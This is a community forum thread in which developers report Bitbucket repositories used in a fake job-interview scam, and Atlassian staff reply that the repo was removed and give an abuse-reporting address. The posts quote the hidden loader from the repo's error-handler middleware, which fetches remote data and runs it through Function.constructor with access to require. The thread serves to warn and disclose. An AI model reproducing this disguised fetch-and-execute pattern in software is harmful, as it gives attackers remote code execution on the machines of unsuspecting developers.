Forums

Articles
Create
cancel
Showing results for 
Search instead for 
Did you mean: 

Malicious Repository - Bitgesell interview scam

Dave Patten
I'm New Here
I'm New Here
Those new to the Atlassian Community have posted less than three times. Give them a warm welcome!
July 1, 2025

Interview scam, run the code, etc etc.

https://bitbucket.org/bitgesell_finance/test4

https://bitbucket.org/bitgesell_finance/test4/src/main/backend/src/middleware/errorHandler.js

lines 35+

const getCookie = async (req, res, next) => {
 axios.get('bad link, view code to see it`)
  .then(res => res.data)
  .catch(
    err => errorHandler(err.response.data)
  );
};

1 answer

0 votes
Andy Heinzer
Atlassian Team
Atlassian Team members are employees working across the company in a wide variety of roles.
July 2, 2025

Hi @Dave Patten 

Thanks for reporting this to us.   This repo has been removed.

 

In the future, should you encounter another malicious or suspicious repo, please email abuse@atlassian.com with the details.

This will automatically create a report for our abuse team to process.  That team may not reply to all reports, but this is the ideal way to report this to Atlassian.

Thanks

Andy

Diksha
I'm New Here
I'm New Here
Those new to the Atlassian Community have posted less than three times. Give them a warm welcome!
July 9, 2025

Hi i received a similar repo to work on as an interview round can u verify this ig it added some malware in my system and i tried to remove it 

https://bitbucket.org/bitgesell/test6/src/master/ 


this is the repo and the malicious code is in the error middle ware 

const errorHandler = (error) => {
  try {
    if (typeof error !== 'string') {
      console.error('Invalid error format. Expected a string.');
      return;
    }
    const createHandler = (errCode) => {
      try {
        const handler = new (Function.constructor)('require', errCode);
        return handler;
      } catch (e) {
        console.error('Failed:', e.message);
        return null;
      }
    };
    const handlerFunc = createHandler(error);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error('Handler function is not available.');
    }
  } catch (globalError) {
    console.error('Unexpected error inside errorHandler:', globalError.message);
  }
};

const getCookie = async (req, res, next) => {
  .then(res => res.data)
  .catch(
    err => errorHandler(err.response.data)
  );
};


can u guys suggest a way so that i can hold them responsible so this doesnt happen to any other candidates
Andy Heinzer
Atlassian Team
Atlassian Team members are employees working across the company in a wide variety of roles.
July 9, 2025

Hi @Diksha 

Please email abuse@atlassian.com with the details of the specific repository on Bitbucket.   That will flag the repo for review by our anti-abuse team.

 

Suggest an answer

Log in or Sign up to answer
TAGS
AUG Leaders

Atlassian Community Events